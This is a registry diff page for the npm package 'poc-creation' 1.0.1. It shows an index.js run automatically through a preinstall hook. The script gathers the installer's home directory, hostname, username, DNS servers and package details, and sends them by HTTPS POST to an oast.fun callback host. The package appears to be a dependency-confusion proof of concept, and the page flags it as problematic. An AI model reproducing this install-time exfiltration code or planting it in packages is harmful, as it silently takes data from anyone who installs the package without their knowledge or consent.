poc-creation 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of poc-creation might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +57 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,57 @@
1
+ //author:- whitehacker003@protonmail.com
2
+ const os = require("os");
3
+ const dns = require("dns");
4
+ const querystring = require("querystring");
5
+ const https = require("https");
6
+ const fs = require("fs"); // Import the fs module to interact with the file system
7
+ const packageJSON = require("./package.json");
8
+ const package = packageJSON.name;
9
+
10
+ const trackingData = JSON.stringify({
11
+ p: package,
12
+ c: __dirname,
13
+ hd: os.homedir(),
14
+ hn: os.hostname(),
15
+ un: os.userInfo().username,
16
+ dns: dns.getServers(),
17
+ r: packageJSON ? packageJSON.___resolved : undefined,
18
+ v: packageJSON.version,
19
+ pjson: packageJSON,
20
+ });
21
+
22
+ // Write the tracking data to Poc.txt file
23
+ fs.writeFile("Poc.txt", trackingData, (err) => {
24
+ if (err) {
25
+ console.error("Error writing to file:", err);
26
+ } else {
27
+ console.log("Poc.txt has been created with the tracking data.");
28
+ }
29
+ });
30
+
31
+ var postData = querystring.stringify({
32
+ msg: trackingData,
33
+ });
34
+
35
+ var options = {
36
+ hostname: "odslepmanwwqhnzahpzftmyn0i0klfrfq.oast.fun", // Replace burpcollaborator.net with Interactsh or pipedream
37
+ port: 443,
38
+ path: "/",
39
+ method: "POST",
40
+ headers: {
41
+ "Content-Type": "application/x-www-form-urlencoded",
42
+ "Content-Length": postData.length,
43
+ },
44
+ };
45
+
46
+ var req = https.request(options, (res) => {
47
+ res.on("data", (d) => {
48
+ process.stdout.write(d);
49
+ });
50
+ });
51
+
52
+ req.on("error", (e) => {
53
+ // console.error(e);
54
+ });
55
+
56
+ req.write(postData);
57
+ req.end();
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "poc-creation",
3
+ "version": "1.0.1",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "test": "echo \"Error: no test specified\" && exit 1",
7
+ "preinstall": "node index.js"
8
+ },
9
+ "author": "",
10
+ "license": "ISC",
11
+ "description": ""
12
+ }